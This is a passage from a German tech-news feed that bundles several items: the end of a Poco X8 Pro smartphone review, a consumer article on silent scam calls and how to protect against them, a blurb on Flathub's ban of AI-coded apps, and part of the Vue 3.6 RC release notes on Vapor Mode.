<p class="wp-block-paragraph">Das Ergebnis ist, dass das Poco X8 Pro mit einer Software auf den Markt kommt, die eine gewisse Herausforderung darstellt: Von Beginn an werden Aufforderungen zur Installation einer ganzen Reihe von Bloatware-Apps angezeigt, die Sie manuell deaktivieren müssen, um sie zu vermeiden. Außerdem stellte ich während des Einrichtungsprozesses fest, dass einige der von mir deaktivierten Elemente dennoch auf dem Smartphone vorhanden waren.</p>



<p class="wp-block-paragraph">Ein Großteil der Bloatware lässt sich deinstallieren, und wenn Sie ein erfahrener Xiaomi-Nutzer sind, haben Sie wahrscheinlich bereits eine bewährte Vorgehensweise, um Funktionen auszuschalten und zu deaktivieren, um die ständigen Unterbrechungen zu vermeiden. Der Mi-Browser beispielsweise blendet regelmäßig Benachrichtigungen zu Apps, Nachrichten und anderen Themen ein, wenngleich Sie den Xiaomi-eigenen Browser noch nie geöffnet haben.</p>



<p class="wp-block-paragraph">HyperOS ist eine komplette Überarbeitung von Android, bei der viele der Komfortfunktionen fehlen, die man auf einem Pixel vorfindet. Wenn Sie beispielsweise auf Pixel-Smartphones eine Nachricht zur Zwei-Faktor-Authentifizierung erhalten, gibt es eine Verknüpfung zum Kopieren des Codes – bei Xiaomi fehlt diese einfach.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-12.28.43.png?w=1024" alt="Xiaomi Poco X8 Pro" class="wp-image-4197741" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Chris Hall / Foundry</p></div>



<p class="wp-block-paragraph">Positiv zu vermerken ist, dass sich viele der Änderungen rückgängig machen lassen und es für HyperOS umfangreiche Anpassungsmöglichkeiten gibt. Das verhindert zwar nicht die Doppelungen, es gibt mehrere Galerien, Browser, App-Stores und so weiter, aber mit etwas Aufwand lässt sich die Benutzererfahrung verbessern.<br><br>Zwar ist der Support für dieses Smartphone nicht so umfangreich wie bei Google oder Samsung, doch für ein Gerät in dieser Preisklasse ist er nicht schlecht. Es ist jedoch unklar, wie lange wir noch auf die Veröffentlichung von Xiaomis Version von <a href="https://www.pcwelt.de/article/3170864/android-17-diese-vier-versteckten-funktionen-machen-ihr-betriebssystem-deutlich-sicherer.html" target="_blank">Android 17</a> warten müssen.</p>



<p class="wp-block-paragraph">Den Einsatz von KI treibt Xiaomi nicht so aggressiv voran wie die Konkurrenten, beispielsweise Motorola. Ich habe mich letztlich auf den integrierten Gemini-Assistenten beschränkt, und es ist ganz einfach, die Angebote für KI-gestütztes Schreiben oder Übersetzungshilfe zu umgehen.</p>



<h2 class="wp-block-heading">Preis &amp; Verfügbarkeit</h2>



<p class="wp-block-paragraph">Das Poco X8 Pro wird von Xiaomi <a href="https://www.pcwelt.de/article/3181862/xiaomi-poco-x8-pro-test.html#" target="_blank">ab 339,90 Euro</a> angeboten.</p>



<p class="wp-block-paragraph">Preislich ist es schwierig, mit Poco zu konkurrieren: Am nächsten käme ihm das <a href="https://www.pcwelt.de/article/3181862/xiaomi-poco-x8-pro-test.html#" target="_blank">Samsung Galaxy A27</a> (bei Amazon derzeit für 309 Euro), während das ältere <a href="https://www.pcwelt.de/article/2687125/google-pixel-9a-test-2.html" target="_blank">Google Pixel 9a</a> bei Amazon derzeit 449 Euro kostet.</p>



<h2 class="wp-block-heading">Sollten Sie das Poco X8 Pro kaufen?</h2>



<p class="wp-block-paragraph">Das Poco X8 Pro bietet ein hervorragendes Preis-Leistungs-Verhältnis und übertrifft die Konkurrenz aus dem Mainstream-Bereich mit leistungsstarker Hardware, die sonst eher in Smartphones zu finden ist, die fast das Doppelte kosten. Es überzeugt durch eine solide Verarbeitung, ein gutes Display und sogar einen ordentlichen Software-Support. Für viele Menschen ist dieses Smartphone ein echtes Schnäppchen.</p>



<p class="wp-block-paragraph">Ein kleiner Wermutstropfen ist die Software: Die Bedienung von HyperOS läuft nicht ganz so flüssig wie bei etablierten Konkurrenten wie Samsung oder Google; zudem ist etwas mehr Aufwand nötig, um unerwünschte Funktionen zu deaktivieren, Apps zu entfernen und das System zu optimieren. Auch die Kamera liefert eher durchwachsene Ergebnisse.</p>



<p class="wp-block-paragraph">Wenn Sie über diese Schwächen hinwegsehen können und das leistungsstärkste Smartphone in dieser Preisklasse suchen, ist das Poco X8 Pro eine Empfehlung.</p>



<h2 class="wp-block-heading">Technische Daten</h2>



<ul class="wp-block-list">
<li>HyperOS 3, basierend auf Android 16</li>



<li>AMOLED 6,59 Zoll, 1268 x 2756 Pixel, 120 Hz</li>



<li>Mediatek Dimensity 8500 Ultra</li>



<li>8/12 GB RAM</li>



<li>256/512 GB Speicher</li>



<li>50-Megapixel-Hauptkamera</li>



<li>8-Megapixel-Ultraweitwinkelkamera</li>



<li>20-Megapixel-Selfiekamera</li>



<li>Videoaufnahmen mit bis zu 4K bei 60 fps (Rückkamera)</li>



<li>Stereolautsprecher (Dolby Atmos)</li>



<li>Dual-SIM</li>



<li>Wi-Fi 6</li>



<li>Bluetooth 6.0</li>



<li>Akku mit 6500 mAh</li>



<li>100 Watt kabelgebundenes Laden</li>



<li>Kein kabelloses Laden</li>



<li>157,53 × 75,19 × 8,38 Millimeter</li>



<li>IP68-zertifiziert</li>



<li>201,47 Gramm</li>



<li>Farben Schwarz, Weiß, Mintgrün</li>
</ul>



<p class="wp-block-paragraph">(<a href="https://www.pcwelt.de/article/3181862/xiaomi-poco-x8-pro-test.html" data-type="link" data-id="https://www.pcwelt.de/article/3181862/xiaomi-poco-x8-pro-test.html" target="_blank">PC-Welt</a>)</p>
</div></div></div>
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<title><![CDATA[So gefährlich sind stumme Anrufe]]></title>
<description><![CDATA[farknotarchitect / Shutterstock.com



Das Telefon klingelt, Sie nehmen ab, doch niemand spricht. Meistens ist das ein technischer Fehler oder ein überlastetes Callcenter-System. Manchmal aber auch nicht. Lesen Sie, was hinter stummen Anrufen wirklich steckt und wie Sie sich schützen.



Was hint...]]></description>
<link>https://tsecurity.de/de/3677424/it-security-nachrichten/so-gefaehrlich-sind-stumme-anrufe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677424/it-security-nachrichten/so-gefaehrlich-sind-stumme-anrufe/</guid>
<pubDate>Sat, 18 Jul 2026 06:07:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-19.47.26.png?w=1024" alt="Anrufe" class="wp-image-4195194" width="1024" height="582" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">farknotarchitect / Shutterstock.com</p></div>



<p class="wp-block-paragraph">Das Telefon klingelt, Sie nehmen ab, doch niemand spricht. Meistens ist das ein technischer Fehler oder ein überlastetes Callcenter-System. Manchmal aber auch nicht. Lesen Sie, was hinter stummen Anrufen wirklich steckt und wie Sie sich schützen.</p>



<h2 class="wp-block-heading">Was hinter einem stummen Anruf stecken kann</h2>



<p class="wp-block-paragraph">Die meisten stillen Anrufe haben eine technische Ursache. Automatisierte Wählsysteme in Callcentern rufen oft schneller an, als ein Mitarbeitender verfügbar ist. Verbindungsabbrüche oder versehentliche Anrufe aus der Hosentasche kommen ebenfalls häufig vor.</p>



<p class="wp-block-paragraph">Daneben gibt es jedoch einen anderen Verwendungszweck: die automatisierte Nummernprüfung. Dabei werden massenhaft Rufnummern angewählt, um festzustellen, welche aktiv sind und ob jemand abhebt. Eine erreichbare Nummer ist im Kontext von Telefonbetrug und Phishing deutlich wertvoller als eine, die nicht reagiert.</p>



<h2 class="wp-block-heading">Warum schon das Abheben eine Information für Betrüger ist</h2>



<p class="wp-block-paragraph">Mit dem Abheben bestätigen Sie, dass Ihre Nummer aktiv ist und der Anschluss genutzt wird. Das reicht in diesem Moment bereits aus. Der stumme Anruf ist dabei selten das eigentliche Ziel, sondern nur der erste Schritt. Es folgen gezieltere Kontaktversuche: weitere Anrufe, SMS, Schockanrufe mit falschen Identitäten oder Phishing-Versuche. Auch über Messenger wie <a href="https://www.pcwelt.de/article/3175752/so-schuetzt-sie-whatsapp-ab-sofort-vor-betruegern.html">Whatsap</a><a href="https://www.pcwelt.de/article/3175752/so-schuetzt-sie-whatsapp-ab-sofort-vor-betruegern.html" target="_blank">p nehmen Betrüge</a><a href="https://www.pcwelt.de/article/3175752/so-schuetzt-sie-whatsapp-ab-sofort-vor-betruegern.html">r zunehmend Kontakt auf</a>.</p>



<h2 class="wp-block-heading">Das sollten Sie niemals am Hörer sagen</h2>



<p class="wp-block-paragraph">Ein kurzes “Hallo” beim Abheben ist kein Problem. Gefährlich wird es erst, wenn Sie anfangen zu reden. Sagen Sie zum Beispiel “[Eigener Name] hier, wer ist da?” oder “Mama, bist du das?”, haben Betrüger bereits verwertbare Informationen: Namen, Beziehungen, vielleicht sogar Adressen oder mehr. Das reicht, um einen späteren Anruf gezielt und überzeugend zu gestalten.</p>



<h2 class="wp-block-heading">So reagieren Sie bei stummen Anrufen richtig</h2>



<p class="wp-block-paragraph">Spricht nach dem Abheben niemand, legen Sie einfach auf, ohne weitere Angaben zu machen. Unbekannte Nummern sollten Sie nicht zurückrufen, besonders bei Nummern aus dem Ausland oder mit ungewöhnlichen Vorwahlen.</p>



<p class="wp-block-paragraph">Verdächtige Nummern lassen sich direkt auf dem Smartphone blockieren. In unseren Ratgebern erfahren Sie, <a href="https://www.pcwelt.de/article/2416760/wie-man-eine-nummer-unter-android-blockiert.html" target="_blank">wie das unter Android funktioniert</a> und <a href="https://www.pcwelt.de/article/2793036/betrugsanrufe-auf-handy-festnetztelefon-ganz-einfach-stoppen-so-gehts-kostenlose-tipps.html" target="_blank">wie Sie Betrugsanrufe auf Handy und Festnetz generell stoppen</a>. Zusätzlichen Schutz bieten Dienste wie <a href="https://www.pcwelt.de/article/3178785/so-gefaehrlich-sind-stumme-anrufe.html#">Tellows</a>, die Nummern anhand von Nutzerdatenbanken bewerten und unbekannte Anrufer bereits vor dem Abheben einordnen. Noch einen Schritt weiter geht <a href="https://www.pcwelt.de/article/3165851/android-telefonbetrug-schutz-techniken-pixel-call-screening.html" target="_blank">Googles KI-gestützter Anrufschutz für Android</a>, der eingehende Anrufe automatisch auf bekannte Betrugsmuster prüft.</p>



<p class="wp-block-paragraph">Bei wiederholten stummen Anrufen von derselben Nummer können Sie diese direkt beim <a href="https://www.pcwelt.de/article/3178785/so-gefaehrlich-sind-stumme-anrufe.html#" target="_blank">Beschwerdeformular der Bundesnetzagentur für belästigende Anrufversuche</a> melden.</p>



<p class="wp-block-paragraph">(<a href="http://cio.de/article/3665426/was-tun-wenn-kein-headhunter-anruft.html" data-type="link" data-id="cio.de/article/3665426/was-tun-wenn-kein-headhunter-anruft.html" target="_blank">PC-Welt</a>)</p>
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<title><![CDATA[Flathub’s AI slop ban looks like it was the right call]]></title>
<description><![CDATA[When Flathub banned AI-coded app submissions last month, some critics warned the platform was denying the future by dismissing a new wave of “vibe-coded” software as out-and-out “slop”. Well, new data suggests otherwise, as nearly three-quarters of the rejected apps are already dead, existing onl...]]></description>
<link>https://tsecurity.de/de/3677312/linux-tipps/flathubs-aislop-banlooks-like-it-was-theright-call/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677312/linux-tipps/flathubs-aislop-banlooks-like-it-was-theright-call/</guid>
<pubDate>Sat, 18 Jul 2026 03:37:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2024/11/flatpak-apps.jpg?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">When Flathub banned AI-coded app submissions last month, some critics warned the platform was denying the future by dismissing a new wave of “vibe-coded” software as out-and-out “slop”. Well, new data suggests otherwise, as nearly three-quarters of the rejected apps are already dead, existing only a few months. Linux developer Evangelos Paterakis, developer of Tuba, Turntable and others, did the digging, looking at 120 code repositories whose pull requests for inclusion on Flathub were rejected because of their heavy AI usage and given an “AI Slop” tag. Of those rejected, 88 are no longer under active development, many having deleted their […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/flathub-ai-slop-ban-data">Flathub’s AI slop ban looks like it was the right call</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
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<title><![CDATA[v3.6.0-rc.1]]></title>
<description><![CDATA[Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.
3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.
For more details about Vapor Mode, se...]]></description>
<link>https://tsecurity.de/de/3677302/downloads/v360-rc1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677302/downloads/v360-rc1/</guid>
<pubDate>Sat, 18 Jul 2026 03:16:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.</p>
<p>3.6 also includes a major refactor of <code>@vue/reactivity</code> based on <a href="https://github.com/stackblitz/alien-signals">alien-signals</a>, which significantly improves the reactivity system's performance and memory usage.</p>
<p>For more details about Vapor Mode, see the <a href="https://github.com/vuejs/core/releases/tag/v3.6.0-rc.1#about-vapor-mode">About Vapor Mode</a> section later in this release note.</p>
<h3>Bug Fixes</h3>
<ul>
<li><strong>hydration:</strong> avoid resolving inherited fallback in forwarded slots (<a href="https://github.com/vuejs/core/commit/4c215b5bd293e18f3a4c62b627a7696016afb982">4c215b5</a>)</li>
<li><strong>hydration:</strong> remove adopted SSR DOM for unresolved async setup (<a href="https://github.com/vuejs/core/commit/3859af4066edeba647e886decb9b4737d7f371cc">3859af4</a>)</li>
<li><strong>runtime-vapor:</strong> avoid patching invalid VNode slot content (<a href="https://github.com/vuejs/core/commit/25f5a8ae6ed3df9c4e3fbaed0da32ce0466c5612">25f5a8a</a>)</li>
<li><strong>runtime-vapor:</strong> clean up detached slot branches (<a href="https://github.com/vuejs/core/commit/b41009d41b21c98174b214eebd271d456215d177">b41009d</a>)</li>
<li><strong>runtime-vapor:</strong> defer slot content anchors during hydration (<a href="https://github.com/vuejs/core/commit/9b9e4bd6efdbce7de258d27e88155bff657d6ae9">9b9e4bd</a>)</li>
<li><strong>runtime-vapor:</strong> preserve outer pending slot anchors (<a href="https://github.com/vuejs/core/commit/4af4bf92a46426631ed6323e542227855b2fc86f">4af4bf9</a>)</li>
<li><strong>runtime-vapor:</strong> preserve slot content anchors during mismatch recovery (<a href="https://github.com/vuejs/core/commit/26f90b58977ee84569b5599700dbe9e864c880a4">26f90b5</a>)</li>
<li><strong>runtime-vapor:</strong> preserve v-show transition on vdom child (<a href="https://github.com/vuejs/core/issues/15074" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15074/hovercard">#15074</a>) (<a href="https://github.com/vuejs/core/commit/fe882c93bb3ec37772126de1cb5c646edb56ace4">fe882c9</a>), closes <a href="https://github.com/vuejs/core/issues/15073" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15073/hovercard">#15073</a></li>
<li><strong>runtime-vapor:</strong> preserve vapor slot owner during interop slot dry run (<a href="https://github.com/vuejs/core/issues/15031" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15031/hovercard">#15031</a>) (<a href="https://github.com/vuejs/core/commit/340630ea37388e12f176a11cadcbdfe8e55e5912">340630e</a>)</li>
<li><strong>runtime-vapor:</strong> preserve VNode anchors in dynamic component hydration (<a href="https://github.com/vuejs/core/commit/898e2ca2441ea3ac064f3b38db47a0aa1b7a556d">898e2ca</a>)</li>
<li><strong>runtime-vapor:</strong> remove unsafe slot dry runs from vdom interop (<a href="https://github.com/vuejs/core/issues/15089" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15089/hovercard">#15089</a>) (<a href="https://github.com/vuejs/core/commit/3d42cdf380b23da000de0ff9d6c3de5d77e0b0d1">3d42cdf</a>), closes <a href="https://github.com/vuejs/core/issues/14793" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/14793/hovercard">#14793</a></li>
<li><strong>runtime-vapor:</strong> reuse hydration anchor candidates (<a href="https://github.com/vuejs/core/commit/06778e705aa87e35f6058c575c562c355a365523">06778e7</a>)</li>
<li><strong>vapor:</strong> handle v-if and v-show on transition roots (<a href="https://github.com/vuejs/core/issues/15069" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15069/hovercard">#15069</a>) (<a href="https://github.com/vuejs/core/commit/8f62f2e57519dcb80c9b3b42588c77ee6d2b0a2f">8f62f2e</a>), closes <a href="https://github.com/vuejs/core/issues/15068" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15068/hovercard">#15068</a></li>
</ul>
<h2>About Vapor Mode</h2>
<p>Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.</p>
<p>It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.</p>
<p>Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in <a href="https://github.com/krausest/js-framework-benchmark">third-party benchmarks</a>.</p>
<h3>General Stability Notes</h3>
<p>Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:</p>
<ul>
<li>Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.</li>
<li>Building small new apps entirely in Vapor Mode.</li>
</ul>
<h2>Opting In to Vapor Mode</h2>
<p>Vapor Mode supports template-only SFCs and SFCs using <code>&lt;script setup&gt;</code>; the Options API is not supported. The following forms are supported:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p><code>&lt;script vapor&gt;</code> is shorthand for <code>&lt;script setup vapor&gt;</code>:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p>The <code>vapor</code> marker can also be placed on the template, enabling Vapor compilation for the entire SFC:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template vapor&gt;
  <!-- ... -->
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span> vapor&gt;
  <span class="pl-c"><span class="pl-c">&lt;!--</span> ... <span class="pl-c">--&gt;</span></span>
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h2>Creating an App and Using VDOM Interop</h2>
<h3>Pure Vapor Applications</h3>
<p>Applications composed entirely of Vapor components can use <code>createVaporApp()</code>:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createVaporApp</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createVaporApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.</p>
<h3>Enabling VDOM Interop</h3>
<p>To use Vapor components in a VDOM app instance created via <code>createApp()</code>, the <code>vaporInteropPlugin</code> must be installed:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createApp</span><span class="pl-kos">,</span> <span class="pl-s1">vaporInteropPlugin</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">use</span><span class="pl-kos">(</span><span class="pl-s1">vaporInteropPlugin</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>A Vapor app instance can also install <code>vaporInteropPlugin</code> to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.</p>
<p>Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.</p>
<p>When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.</p>
<p>In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.</p>
<h2>Feature Compatibility</h2>
<p>By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:</p>
<ul>
<li>Options API</li>
<li><code>app.config.globalProperties</code></li>
<li><code>getCurrentInstance()</code> returns <code>null</code> in Vapor components</li>
<li><code>@vue:xxx</code> per-element lifecycle events</li>
<li><code>v-memo</code></li>
<li>Component template refs do not expose properties such as <code>$el</code>, <code>$props</code>, <code>$attrs</code>, <code>$slots</code>, and <code>$refs</code></li>
</ul>
<h2>Important Usage Considerations</h2>
<h3>Event Delegation and <code>stopPropagation()</code></h3>
<p>Vapor delegates eligible events to <code>document</code>. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.</p>
<p>If any ancestor calls <code>stopPropagation()</code>, the event never reaches <code>document</code>, and the delegated handler will not run.</p>
<p>The following forms bypass delegation and attach the listener directly to the element:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='&lt;button @[event]="onClick" /&gt;
&lt;button v-bind="{ onClick }" /&gt;
&lt;button v-on="{ click: onClick }" /&gt;'><pre>&lt;<span class="pl-ent">button</span> @[<span class="pl-s1"><span class="pl-c1">event</span></span>]=<span class="pl-pds">"</span><span class="pl-s1"><span class="pl-smi">onClick</span></span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-bind</span>=<span class="pl-pds">"</span><span class="pl-s1">{ <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-on</span>=<span class="pl-pds">"</span><span class="pl-s1">{ click: <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;</pre></div>
<h3><code>slots.default()</code> Is Not a Safe Dry Run</h3>
<p>In Vapor, <code>slots.default()</code> is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.</p>
<p>Do not call a slot to inspect its output before deciding what else to render:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
&lt;/script&gt;

&lt;template&gt;
  &lt;div v-if=&quot;showFallback&quot;&gt;Fallback&lt;/div&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">import</span> { <span class="pl-smi">useSlots</span> } <span class="pl-k">from</span> <span class="pl-s"><span class="pl-pds">'</span>vue<span class="pl-pds">'</span></span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">slots</span> <span class="pl-k">=</span> <span class="pl-en">useSlots</span>()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">content</span> <span class="pl-k">=</span> <span class="pl-smi">slots</span>.<span class="pl-smi">default</span><span class="pl-k">?</span>.()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">showFallback</span> <span class="pl-k">=</span> <span class="pl-k">!</span>content</span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>script<span class="pl-k">&gt;</span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">&lt;</span>template<span class="pl-k">&gt;</span></span>
<span class="pl-s1">  <span class="pl-k">&lt;</span>div v<span class="pl-k">-</span><span class="pl-k">if</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>showFallback<span class="pl-pds">"</span></span><span class="pl-k">&gt;</span>Fallback<span class="pl-k">&lt;</span><span class="pl-k">/</span>div<span class="pl-k">&gt;</span></span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>template<span class="pl-k">&gt;</span></span></pre></div>
<p>Instead, leave slot rendering to the template:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template&gt;
  &lt;slot /&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span>&gt;
  &lt;<span class="pl-ent">slot</span> /&gt;
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h3>Custom Directives Use a Different Interface</h3>
<p>Custom directives in Vapor also have a different interface:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () =&gt; any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) =&gt; (() =&gt; void) | void"><pre><span class="pl-k">type</span> <span class="pl-smi">VaporDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span>
  <span class="pl-s1">node</span>: <span class="pl-smi">Element</span> <span class="pl-c1">|</span> <span class="pl-smi">VaporComponentInstance</span><span class="pl-kos">,</span>
  <span class="pl-s1">value</span>?: <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">any</span><span class="pl-kos">,</span>
  <span class="pl-s1">argument</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span>
  <span class="pl-s1">modifiers</span>?: <span class="pl-smi">DirectiveModifiers</span><span class="pl-kos">,</span>
<span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi"><span class="pl-k">void</span></span><span class="pl-kos">)</span> <span class="pl-c1">|</span> <span class="pl-smi"><span class="pl-k">void</span></span></pre></div>
<p><code>value</code> is a reactive getter that returns the binding value. Reactive effects can be set up using <code>watchEffect()</code> and are automatically released when the component unmounts. A directive may also return a cleanup function:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="const MyDirective = (el, source) =&gt; {
  watchEffect(() =&gt; {
    el.textContent = source()
  })
  return () =&gt; console.log('cleanup')
}"><pre><span class="pl-k">const</span> <span class="pl-v">MyDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span><span class="pl-s1">el</span><span class="pl-kos">,</span> <span class="pl-s1">source</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-en">watchEffect</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-s1">el</span><span class="pl-kos">.</span><span class="pl-c1">textContent</span> <span class="pl-c1">=</span> <span class="pl-en">source</span><span class="pl-kos">(</span><span class="pl-kos">)</span>
  <span class="pl-kos">}</span><span class="pl-kos">)</span>
